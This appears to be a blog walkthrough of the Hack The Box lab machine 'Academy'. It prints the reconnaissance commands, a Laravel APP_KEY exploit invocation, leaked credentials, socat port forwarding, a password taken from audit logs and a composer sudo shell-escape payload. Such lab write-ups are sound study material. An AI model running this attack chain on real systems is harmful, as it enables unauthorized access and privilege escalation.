Academy: HTB

Hi. This is the first box I’ve done since September, and boi….was I rusty…

Nmap scan

The first thing I did was to add an entry for academy.htb in /etc/hosts. And after that, the basic nmap scan:

edmund@r4-station:~/ctfs/HTB/Academy$ nmap -sV -T4 -sC -oA academy academy.htb

# Nmap 7.70 scan initiated Wed Feb 24 11:43:56 2021 as: nmap -sV -sC -T4 -oA academy 10.10.10.215
Nmap scan report for 10.10.10.215
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 24 11:44:05 2021 -- 1 IP address (1 host up) scanned in 9.20 seconds

Only Port 80 and 22 were opened. So I start with HTTP.

Port 80

I use ffuf to bruteforce the directories/files : ffuf -w /opt/seclists/directory-list-2.3-small.txt -u http://academy.htb/FUZZ -D -e php and I get:

.php                    [Status: 403, Size: 276, Words: 20, Lines: 10]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 2117, Words: 890, Lines: 77]
login.php               [Status: 200, Size: 2627, Words: 667, Lines: 142]
register.php            [Status: 200, Size: 3003, Words: 801, Lines: 149]
home.php                [Status: 302, Size: 55034, Words: 4001, Lines: 1050]
admin.php               [Status: 200, Size: 2633, Words: 668, Lines: 142]

admin.php looks interesting, and it looks like login.php,but probably it redirects us to a different page than login.php

We create an account using register.php, and we login.

Looks like nothing works as it should( I can’t unlock modules, etc).

I launch Burp and try to take a look.

I see the api endpoints, but they’re useless.(Tried POST, GET, different parameters, etc).

After I tried different things (SQLi on login.php, etc), I returned to register.php, intercept a register request, and I see something quite interesting.

I changed the roleid parameter to 1(0 probably is user, and 1 is admin), and I created another account.

After creating the account, I went to /admin.php and try those creds, which worked.

Now that we are logged in as admin, we see a message left there: Fix issue with dev-staging-01.academy.htb

I added dev-staging-01.academy.htb to /etc/hosts, accessed it in a browser, and I get what looks like a Laravel “debugging page”.

I quickly searched on Google for “laravel debug mode exploitation” and got this : https://www.ambionics.io/blog/laravel-debug-rce, but doesn’t seem to be the right exploit for us. Also found this page : https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/laravel-debug-mode-enabled/, so I started looking for that info.

Got some SQL creds, and the APP_KEY. Ok. Now what? I got stuck here for a little while because of my “rustiness”. I searched for how can I use the APP_KEY, but found nothing.

Getting RCE

After a little while, I just went full monke mode on Google and searched for : laravel app_key exploit, and it worked. Got the script : https://github.com/aljavier/exploit_laravel_cve-2018-15133 , and the “shell” : python3 pwn_laravel.py -i http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=. Used python to get a better shell, and it looks like we are www-data.

Escalating

Looks like I have access to .env (/var/www/html/academy), so I read it and got some creds for SQL again:

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306              
DB_DATABASE=academy
DB_USERNAME=dev   
DB_PASSWORD=mySup3rP4s5w0rd!!

Now, I use wget and SimpleHTTPServer to get socat on the machine to try and connect to the SQL server: socat tcp-listen:6666,reuseaddr,fork tcp:localhost:3306 &

Now, everything I send to academy.htb:6666 will be redirected to 127.0.0.1:3306. Tried to use Impacket’s mysqlclient.py with the “leaked” creds, but to no avail. After quite some time (again, please forgive my rustiness), I remembered that passwords are reused almost always.

$ ls /home
21y4d
ch4p
cry0l1t3
egre55
g0blin
mrb3n

I tried to connect via ssh to the users above, until one of them worked. (cry0l1t3). Got the user flag.

Lateral movement

First thing I try: sudo -l. Nothing.

I transfer linpeas.sh and execute it.

[+] Checking for TTY (sudo/su) passwords in audit logs                                                                                                                                       
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>                                                                                                                                           
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>                                                                                                                                     
/var/log/audit/audit.log.3:type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A                           

Looks like the user tried to su mrb3n using mrb3n_Ac@d3my! as password.

Now that we are mrb3n, time to get root.

Getting root

I try sudo -l again, and this time, it looks like I can run composer as root. I go to GTFOBins and search for composer: https://gtfobins.github.io/gtfobins/composer/.

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

And we got root. :3

My opinion

It was fun. It took me way too long to pwn it than it should, but given the fact that it was the first box since September…. :))

Getting root was wayy easier than getting user. It took me like 5 minutes to get root, while getting user almost 3 hours.